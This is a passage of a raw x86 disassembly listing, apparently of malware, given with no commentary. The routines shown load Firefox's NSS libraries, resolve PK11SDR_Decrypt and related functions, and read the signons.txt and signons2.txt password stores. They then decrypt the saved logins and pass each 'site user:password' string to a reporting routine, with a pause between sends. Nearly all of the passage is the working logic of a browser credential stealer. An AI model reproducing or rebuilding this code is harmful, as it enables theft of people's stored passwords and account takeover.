		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_406205
		cmp	[ebp+var_4], 0
		pop	ecx
		lea	eax, [ebp+var_63C]
		jnz	short loc_406340
		push	offset aNameDefault ; "name=default"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_406351
		mov	[ebp+var_4], 1
		jmp	short loc_406351
; ---------------------------------------------------------------------------


loc_406340:				; CODE XREF: sub_406231+F3j
		push	offset aPath	; "path="
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40636D


loc_406351:				; CODE XREF: sub_406231+104j
					; sub_406231+10Dj
		push	[ebp+var_8]


loc_406354:				; CODE XREF: sub_406231+DAj
		lea	eax, [ebp+var_63C]
		push	ebx
		push	eax
		call	sub_40EA36
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40630D
		jmp	loc_406415
; ---------------------------------------------------------------------------


loc_40636D:				; CODE XREF: sub_406231+11Ej
		lea	eax, [ebp+var_63C]
		push	offset asc_41A0AC ; "/"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_406387
		mov	byte ptr [eax],	5Ch


loc_406387:				; CODE XREF: sub_406231+151j
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_40D630
		lea	ecx, [ebp+var_63C]
		dec	ecx
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_63C]
		mov	[esp+64Ch+var_64C], offset asc_41A0B4 ;	"="
		push	eax
		call	sub_40D810
		mov	ebx, eax
		push	ebx
		call	sub_40D630
		mov	edi, eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_40D630
		add	edi, eax
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_40D630
		lea	eax, [edi+eax+3]
		push	eax
		call	sub_40E74F
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jz	short loc_406415
		lea	eax, [ebp+var_138]
		push	eax
		push	edi
		call	sub_40D8A0
		push	esi
		push	edi
		call	sub_40D8B0
		lea	eax, [ebp+var_34]
		push	eax
		push	edi
		call	sub_40D8B0
		push	esi
		push	edi
		call	sub_40D8B0
		inc	ebx
		push	ebx
		push	edi
		call	sub_40D8B0
		add	esp, 28h


loc_406415:				; CODE XREF: sub_406231+137j
					; sub_406231+1B2j
		push	[ebp+var_8]
		call	sub_40E8F7
		pop	ecx
		mov	eax, edi
		pop	ebx


loc_406421:				; CODE XREF: sub_406231+CEj
		pop	edi
		pop	esi
		leave
		retn
sub_406231	endp


; =============== S U B	R O U T	I N E =======================================



sub_406425	proc near		; CODE XREF: sub_4069DE+1Ap

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebp, ebp
		cmp	esi, ebp
		push	edi
		mov	dword_4C45E0, ebp
		mov	dword_4C45DC, ebp
		mov	edi, offset aPlc4_dll ;	"plc4.dll"
		mov	ebx, offset aNss3_dll ;	"nss3.dll"
		jz	short loc_4064A4
		push	offset aNspr4_dll ; "nspr4.dll"
		push	esi
		call	sub_40600B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40649C
		push	edi
		push	esi
		call	sub_40600B
		cmp	eax, ebp
		pop	ecx
		pop	ecx
		mov	dword_4C45E0, eax
		jz	short loc_40649C
		push	offset aPlds4_dll ; "plds4.dll"
		push	esi
		call	sub_40600B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40649C
		push	offset aSoftokn3_dll ; "softokn3.dll"
		push	esi
		call	sub_40600B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40649C
		push	ebx
		push	esi
		call	sub_40600B
		pop	ecx
		pop	ecx
		mov	dword_4C45DC, eax


loc_40649C:				; CODE XREF: sub_406425+33j
					; sub_406425+45j ...
		cmp	dword_4C45DC, ebp
		jnz	short loc_4064D3


loc_4064A4:				; CODE XREF: sub_406425+22j
		push	ebx
		push	esi
		call	sub_40600B
		push	edi
		push	esi
		mov	dword_4C45DC, eax
		call	sub_40600B
		add	esp, 10h
		cmp	dword_4C45DC, ebp
		mov	dword_4C45E0, eax
		jz	loc_4065AB
		cmp	eax, ebp
		jz	loc_4065AB


loc_4064D3:				; CODE XREF: sub_406425+7Dj
		mov	esi, dword_4190F8
		push	offset aNss_init ; "NSS_Init"
		push	dword_4C45DC
		call	esi	; GetProcAddress
		push	offset aNss_shutdown ; "NSS_Shutdown"
		push	dword_4C45DC
		mov	dword_4C45CC, eax
		call	esi	; GetProcAddress
		push	offset aPk11_getintern ; "PK11_GetInternalKeySlot"
		push	dword_4C45DC
		mov	dword_4C45D0, eax
		call	esi	; GetProcAddress
		push	offset aPk11_freeslot ;	"PK11_FreeSlot"
		push	dword_4C45DC
		mov	dword_4C41BC, eax
		call	esi	; GetProcAddress
		push	offset aPk11_authentic ; "PK11_Authenticate"
		push	dword_4C45DC
		mov	dword_4C45C4, eax
		call	esi	; GetProcAddress
		push	offset aPk11sdr_decryp ; "PK11SDR_Decrypt"
		push	dword_4C45DC
		mov	dword_4C45C8, eax
		call	esi	; GetProcAddress
		push	offset aPk11_checkuser ; "PK11_CheckUserPassword"
		push	dword_4C45DC
		mov	dword_4C45C0, eax
		call	esi	; GetProcAddress
		cmp	dword_4C45CC, ebp
		mov	dword_4C45D4, eax
		jz	short loc_4065A6
		cmp	dword_4C45D0, ebp
		jz	short loc_4065A6
		cmp	dword_4C41BC, ebp
		jz	short loc_4065A6
		cmp	dword_4C45C8, ebp
		jz	short loc_4065A6
		cmp	dword_4C45C0, ebp
		jz	short loc_4065A6
		cmp	dword_4C45C4, ebp
		jz	short loc_4065A6
		cmp	eax, ebp
		jz	short loc_4065A6
		push	offset aPl_base64decod ; "PL_Base64Decode"
		push	dword_4C45E0
		call	esi	; GetProcAddress
		cmp	eax, ebp
		mov	dword_4C19B0, eax
		jz	short loc_4065A6
		xor	eax, eax
		inc	eax
		jmp	short loc_4065AD
; ---------------------------------------------------------------------------


loc_4065A6:				; CODE XREF: sub_406425+138j
					; sub_406425+140j ...
		call	sub_405FD6


loc_4065AB:				; CODE XREF: sub_406425+A0j
					; sub_406425+A8j
		xor	eax, eax


loc_4065AD:				; CODE XREF: sub_406425+17Fj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_406425	endp


; =============== S U B	R O U T	I N E =======================================



sub_4065B2	proc near		; CODE XREF: sub_4069DE+2Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		and	dword_4C45D8, 0
		call	dword_4C45CC
		test	eax, eax
		pop	ecx
		jz	short loc_4065D0
		call	sub_405FD6
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4065D0:				; CODE XREF: sub_4065B2+14j
		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		mov	dword_4C45D8, 1
		mov	esi, offset byte_4C41C0
		jz	short loc_406616
		push	ebx
		call	sub_40D630
		cmp	eax, 3FFh
		pop	ecx
		jbe	short loc_406600


loc_4065F7:				; CODE XREF: sub_4065B2+75j
		call	sub_405FD6
		xor	eax, eax
		jmp	short loc_406629
; ---------------------------------------------------------------------------


loc_406600:				; CODE XREF: sub_4065B2+43j
		push	ebx
		call	sub_40D630
		test	eax, eax
		pop	ecx
		jbe	short loc_406616
		push	ebx
		push	esi
		call	sub_40D8A0
		pop	ecx
		pop	ecx
		jmp	short loc_40661D
; ---------------------------------------------------------------------------


loc_406616:				; CODE XREF: sub_4065B2+35j
					; sub_4065B2+57j
		and	byte_4C41C0, 0


loc_40661D:				; CODE XREF: sub_4065B2+62j
		push	esi
		call	sub_406079
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4065F7


loc_406629:				; CODE XREF: sub_4065B2+4Cj
		pop	esi
		pop	ebx
		retn
sub_4065B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40662C	proc near		; CODE XREF: sub_406761+A7p
					; sub_406761+11Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		and	byte ptr [edi],	0
		jmp	short loc_40665C
; ---------------------------------------------------------------------------


loc_406639:				; CODE XREF: sub_40662C+3Aj
		cmp	eax, 0Ah
		jz	short loc_40666D
		cmp	eax, 0Dh
		jz	short loc_40665C
		xor	ecx, ecx


loc_406645:				; CODE XREF: sub_40662C+2Ej
		test	al, al
		jz	short loc_40665C
		cmp	esi, [esp+8+arg_4]
		jge	short loc_406668
		mov	[esi+edi], al
		inc	esi
		shr	eax, 8
		inc	ecx
		cmp	ecx, 4
		jl	short loc_406645


loc_40665C:				; CODE XREF: sub_40662C+Bj
					; sub_40662C+15j ...
		call	sub_4060F4
		movsx	eax, al
		test	eax, eax
		jnz	short loc_406639


loc_406668:				; CODE XREF: sub_40662C+21j
		xor	eax, eax


loc_40666A:				; CODE XREF: sub_40662C+48j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40666D:				; CODE XREF: sub_40662C+10j
		and	byte ptr [esi+edi], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40666A
sub_40662C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406676	proc near		; CODE XREF: sub_406761+1D7p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	al, [esi]
		cmp	al, bl
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_4066AC
		push	1
		call	sub_40E74F
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[eax], bl
		xor	eax, eax
		inc	eax
		jmp	loc_40675D
; ---------------------------------------------------------------------------


loc_4066AC:				; CODE XREF: sub_406676+1Dj
		cmp	al, 7Eh
		push	edi
		jz	short loc_40671B
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_406140
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406700
		cmp	[ebp+var_4], ebx
		jz	short loc_406700
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_4]
		call	sub_406193
		add	esp, 10h
		test	eax, eax
		jz	short loc_406700
		cmp	[ebp+var_8], ebx
		jz	short loc_406700
		mov	esi, [ebp+var_10]
		lea	eax, [esi+1]
		push	eax
		call	sub_40E74F
		cmp	eax, ebx
		mov	edi, [ebp+arg_4]
		pop	ecx
		mov	[edi], eax
		jnz	short loc_406704


loc_406700:				; CODE XREF: sub_406676+4Ej
					; sub_406676+53j ...
		xor	eax, eax
		jmp	short loc_40675C
; ---------------------------------------------------------------------------


loc_406704:				; CODE XREF: sub_406676+88j
		push	esi
		push	[ebp+var_8]
		push	eax
		call	sub_40E3A0
		mov	eax, [edi]
		add	esp, 0Ch
		mov	[esi+eax], bl


loc_406716:				; CODE XREF: sub_406676+CCj
		xor	eax, eax
		inc	eax
		jmp	short loc_40675C
; ---------------------------------------------------------------------------


loc_40671B:				; CODE XREF: sub_406676+39j
		push	offset asc_41A1D8 ; "~"
		call	sub_40D630
		push	esi
		mov	edi, eax
		call	sub_40D630
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jnz	short loc_406744
		push	1
		call	sub_40E74F
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[eax], bl
		jmp	short loc_406716
; ---------------------------------------------------------------------------


loc_406744:				; CODE XREF: sub_406676+BBj
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_4]
		add	edi, esi
		push	edi
		call	sub_406140
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40675C:				; CODE XREF: sub_406676+8Cj
					; sub_406676+A3j
		pop	edi


loc_40675D:				; CODE XREF: sub_406676+31j
		pop	esi
		pop	ebx
		leave
		retn
sub_406676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406761	proc near		; CODE XREF: sub_4069DE+42p

var_5128	= byte ptr -5128h
var_2928	= byte ptr -2928h
var_2927	= byte ptr -2927h
var_128		= byte ptr -128h
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 5128h
		call	sub_40D9A0
		push	esi
		push	edi
		mov	esi, offset aSignons_txt ; "/signons.txt"
		lea	edi, [ebp+var_18]
		movsd
		movsd
		movsd
		push	[ebp+arg_0]
		and	[ebp+var_8], 0
		movsb
		mov	esi, offset aSignons2_txt ; "/signons2.txt"
		lea	edi, [ebp+var_28]
		movsd
		movsd
		movsd
		movsw
		xor	edi, edi
		inc	edi
		mov	[ebp+var_4], edi
		call	sub_40D630
		add	eax, 41h
		push	eax
		call	sub_40E74F
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_4069DA
		push	[ebp+arg_0]
		push	esi
		call	sub_40D8A0
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_40D8B0
		push	esi
		call	sub_4060C7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4067FB
		push	[ebp+arg_0]
		push	esi
		call	sub_40D8A0
		lea	eax, [ebp+var_28]
		push	eax
		push	esi
		call	sub_40D8B0
		push	esi
		call	sub_4060C7
		add	esp, 14h
		test	eax, eax
		jz	loc_4069DA
		mov	[ebp+var_4], 2


loc_4067FB:				; CODE XREF: sub_406761+6Dj
		mov	esi, 2800h
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_40662C
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4069DA
		cmp	[ebp+var_4], edi
		jnz	short loc_406837
		lea	eax, [ebp+var_2928]
		push	offset a2c	; "#2c"
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4069DA


loc_406837:				; CODE XREF: sub_406761+B9j
		cmp	[ebp+var_4], 2
		jnz	short loc_406878
		lea	eax, [ebp+var_2928]
		push	offset a2d	; "#2d"
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4069DA
		jmp	short loc_406878
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406761+128j
		lea	eax, [ebp+var_2928]
		push	eax
		call	sub_40D630
		test	eax, eax
		pop	ecx
		jz	short loc_406878
		cmp	[ebp+var_2928],	2Eh
		jz	loc_4069C3


loc_406878:				; CODE XREF: sub_406761+DAj
					; sub_406761+F7j ...
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_40662C
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40685A
		jmp	loc_4069C3
; ---------------------------------------------------------------------------


loc_406890:				; CODE XREF: sub_406761+273j
		lea	eax, [ebp+var_2928]
		push	eax
		lea	eax, [ebp+var_128]
		push	offset aS_5	; "%s "
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		xor	edi, edi
		call	sub_40662C
		add	esp, 14h
		jmp	loc_4069BB
; ---------------------------------------------------------------------------


loc_4068BF:				; CODE XREF: sub_406761+25Cj
		cmp	[ebp+var_2928],	2Eh
		jz	loc_4069C3
		cmp	[ebp+var_4], 2
		jnz	short loc_4068F3
		cmp	edi, 2
		jnz	short loc_4068F3
		lea	eax, [ebp+var_2928]
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_40D8B0
		pop	ecx
		pop	ecx
		xor	edi, edi
		jmp	loc_4069AC
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_406761+16Fj
					; sub_406761+174j
		cmp	[ebp+var_2928],	2Ah
		lea	eax, [ebp+var_2927]
		jz	short loc_406908
		lea	eax, [ebp+var_2928]


loc_406908:				; CODE XREF: sub_406761+19Fj
		push	eax
		lea	eax, [ebp+var_5128]
		push	eax
		call	sub_40D8A0
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_40662C
		add	esp, 10h
		test	eax, eax
		jz	loc_4069C3
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_2928]
		push	eax
		call	sub_406676
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jnz	loc_4069DA
		lea	eax, [ebp+var_5128]
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_40D8B0
		lea	eax, [ebp+var_128]
		push	offset asc_41A1DC ; ":"
		push	eax
		call	sub_40D8B0
		push	[ebp+var_8]
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_40D8B0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_128]
		push	eax
		push	offset dword_41E1A8
		push	[ebp+arg_4]
		call	sub_4017B6
		and	[ebp+var_128], 0
		add	esp, 28h
		push	7D0h
		call	dword_419060	; Sleep
		and	[ebp+var_8], 0
		inc	edi


loc_4069AC:				; CODE XREF: sub_406761+18Dj
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_40662C
		pop	ecx
		pop	ecx


loc_4069BB:				; CODE XREF: sub_406761+159j
		test	eax, eax
		jnz	loc_4068BF


loc_4069C3:				; CODE XREF: sub_406761+111j
					; sub_406761+12Aj ...
		lea	eax, [ebp+var_2928]
		push	esi
		push	eax
		call	sub_40662C
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406890


loc_4069DA:				; CODE XREF: sub_406761+49j
					; sub_406761+8Dj ...
		pop	edi
		pop	esi
		leave
		retn
sub_406761	endp


; =============== S U B	R O U T	I N E =======================================



sub_4069DE	proc near		; CODE XREF: sub_40198E+11EEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		call	sub_406231
		mov	esi, eax
		call	sub_405E94
		test	esi, esi
		jz	short loc_4069F3
		test	eax, eax
		jnz	short loc_4069F7


loc_4069F3:				; CODE XREF: sub_4069DE+Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4069F7:				; CODE XREF: sub_4069DE+13j
		push	eax
		call	sub_406425
		test	eax, eax
		pop	ecx
		jz	short loc_406A2D
		push	offset byte_4C41C0
		push	esi
		call	sub_4065B2
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_406A2D
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		push	esi
		call	sub_406761
		add	esp, 10h
		call	sub_405FD6


loc_406A2D:				; CODE XREF: sub_4069DE+22j
					; sub_4069DE+33j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_4069DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A32	proc near		; CODE XREF: sub_406B93+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		push	edi
		xor	edi, edi
		and	[ebp+var_8], edi
		xor	eax, eax
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_406A53
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_406A53:				; CODE XREF: sub_406A32+19j
		push	ebx
		push	esi


loc_406A55:				; CODE XREF: sub_406A32+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_406A63
		cmp	[ebp+var_4], eax
		jnz	short loc_406AAB


loc_406A63:				; CODE XREF: sub_406A32+2Aj
		test	edi, edi
		jnz	short loc_406AA0
		cmp	bl, 2Dh
		jnz	short loc_406A94
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_406A94
		cmp	al, 5Dh
		jz	short loc_406A94
		cmp	[ebp+var_4], edi
		jnz	short loc_406A94
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_406AA0
		cmp	bl, al
		jg	short loc_406AA0
		mov	[edx], esi
		jmp	short loc_406A9D
; ---------------------------------------------------------------------------


loc_406A94:				; CODE XREF: sub_406A32+38j
					; sub_406A32+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_406AA0


loc_406A9D:				; CODE XREF: sub_406A32+60j
		xor	edi, edi
		inc	edi


loc_406AA0:				; CODE XREF: sub_406A32+33j
					; sub_406A32+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_406A55
; ---------------------------------------------------------------------------


loc_406AAB:				; CODE XREF: sub_406A32+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_406AB8
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_406AB8:				; CODE XREF: sub_406A32+7Ej
		cmp	edi, eax
		jnz	short loc_406AC1
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_406AC1:				; CODE XREF: sub_406A32+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_406A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AC6	proc near		; CODE XREF: sub_406B93+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		inc	dword ptr [esi]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		xor	ebx, ebx
		jmp	short loc_406AF5
; ---------------------------------------------------------------------------


loc_406AE0:				; CODE XREF: sub_406AC6+35j
		mov	cl, [eax]
		cmp	cl, 3Fh
		jz	short loc_406AF1
		cmp	cl, 2Ah
		jnz	short loc_406AFD
		cmp	cl, 3Fh
		jnz	short loc_406AF3


loc_406AF1:				; CODE XREF: sub_406AC6+1Fj
		inc	dword ptr [edi]


loc_406AF3:				; CODE XREF: sub_406AC6+29j
		inc	dword ptr [esi]


loc_406AF5:				; CODE XREF: sub_406AC6+18j
		mov	ecx, [edi]
		cmp	[ecx], bl
		mov	eax, [esi]
		jnz	short loc_406AE0


loc_406AFD:				; CODE XREF: sub_406AC6+24j
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_406B0C


loc_406B02:				; CODE XREF: sub_406AC6+44j
		inc	eax
		mov	ecx, eax
		mov	[esi], eax
		cmp	byte ptr [ecx],	2Ah
		jz	short loc_406B02


loc_406B0C:				; CODE XREF: sub_406AC6+3Aj
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_406B29
		cmp	[eax], bl
		jz	short loc_406B1C
		xor	eax, eax
		jmp	short loc_406B8E
; ---------------------------------------------------------------------------


loc_406B1C:				; CODE XREF: sub_406AC6+50j
		cmp	dl, bl
		jnz	short loc_406B29
		cmp	[eax], bl
		jnz	short loc_406B29
		xor	eax, eax
		inc	eax
		jmp	short loc_406B8E
; ---------------------------------------------------------------------------


loc_406B29:				; CODE XREF: sub_406AC6+4Cj
					; sub_406AC6+58j ...
		push	ecx
		push	eax
		call	sub_406B93
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406B78


loc_406B36:				; CODE XREF: sub_406AC6+B0j
		inc	dword ptr [edi]
		mov	ecx, [esi]
		mov	eax, [edi]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jz	short loc_406B5A


loc_406B42:				; CODE XREF: sub_406AC6+92j
		mov	ecx, [esi]
		cmp	byte ptr [ecx],	5Bh
		jz	short loc_406B5A
		cmp	[eax], bl
		jz	short loc_406B6F
		inc	eax
		mov	[edi], eax
		mov	ecx, [esi]
		mov	cl, [ecx]
		mov	edx, eax
		cmp	cl, [edx]
		jnz	short loc_406B42


loc_406B5A:				; CODE XREF: sub_406AC6+7Aj
					; sub_406AC6+81j
		cmp	[eax], bl
		jz	short loc_406B6F
		push	eax
		push	dword ptr [esi]
		call	sub_406B93
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_406B74
; ---------------------------------------------------------------------------


loc_406B6F:				; CODE XREF: sub_406AC6+85j
					; sub_406AC6+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_406B74:				; CODE XREF: sub_406AC6+A7j
		cmp	eax, ebx
		jnz	short loc_406B36


loc_406B78:				; CODE XREF: sub_406AC6+6Ej
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_406B8B
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_406B8B
		mov	[ebp+var_4], 1


loc_406B8B:				; CODE XREF: sub_406AC6+B6j
					; sub_406AC6+BCj
		mov	eax, [ebp+var_4]


loc_406B8E:				; CODE XREF: sub_406AC6+54j
					; sub_406AC6+61j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406AC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B93	proc near		; CODE XREF: sub_406AC6+65p
					; sub_406AC6+9Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_406BF5
; ---------------------------------------------------------------------------


loc_406B9F:				; CODE XREF: sub_406B93+66j
		cmp	eax, 1
		jnz	short loc_406C03
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_406C03
		cmp	cl, 2Ah
		jz	short loc_406BDE
		cmp	cl, 3Fh
		jz	short loc_406BC3
		cmp	cl, 5Bh
		jz	short loc_406BC8
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_406BC3:				; CODE XREF: sub_406B93+22j
		inc	[ebp+arg_4]
		jmp	short loc_406BF1
; ---------------------------------------------------------------------------


loc_406BC8:				; CODE XREF: sub_406B93+27j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		inc	esi
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_406A32
		mov	esi, [ebp+arg_0]
		jmp	short loc_406BEF
; ---------------------------------------------------------------------------


loc_406BDE:				; CODE XREF: sub_406B93+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_406AC6
		mov	esi, [ebp+arg_0]
		dec	esi


loc_406BEF:				; CODE XREF: sub_406B93+49j
		pop	ecx
		pop	ecx


loc_406BF1:				; CODE XREF: sub_406B93+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_406BF5:				; CODE XREF: sub_406B93+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_406B9F
		jmp	short loc_406C03
; ---------------------------------------------------------------------------


loc_406BFD:				; CODE XREF: sub_406B93+73j
		cmp	eax, 1
		jnz	short loc_406C1F
		inc	esi


loc_406C03:				; CODE XREF: sub_406B93+Fj
					; sub_406B93+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_406BFD
		cmp	eax, 1
		jnz	short loc_406C1F
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_406C1F
		cmp	byte ptr [esi],	0
		jnz	short loc_406C1F
		xor	eax, eax
		inc	eax
		jmp	short loc_406C21
; ---------------------------------------------------------------------------


loc_406C1F:				; CODE XREF: sub_406B93+6Dj
					; sub_406B93+78j ...
		xor	eax, eax


loc_406C21:				; CODE XREF: sub_406B93+8Aj
		pop	esi
		pop	ebp
		retn
sub_406B93	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C24	proc near		; CODE XREF: sub_40198E:loc_402201p

arg_0		= dword	ptr  4

		mov	eax, off_41E300
		cmp	byte ptr [eax],	0
		push	esi
		jz	short loc_406C50
		mov	esi, offset off_41E300


loc_406C34:				; CODE XREF: sub_406C24+2Aj
		mov	eax, [esi]
		push	[esp+4+arg_0]
		push	eax
		call	sub_406B93
		pop	ecx
		add	esi, 4
		test	eax, eax
		pop	ecx
		jnz	short loc_406C54
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jnz	short loc_406C34


loc_406C50:				; CODE XREF: sub_406C24+9j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_406C54:				; CODE XREF: sub_406C24+23j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_406C24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C59	proc near		; CODE XREF: sub_4073C5+143p

var_798		= byte ptr -798h
var_694		= byte ptr -694h
var_58C		= byte ptr -58Ch
var_18C		= dword	ptr -18Ch
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_160		= byte ptr -160h
var_4C		= byte ptr -4Ch
var_24		= byte ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

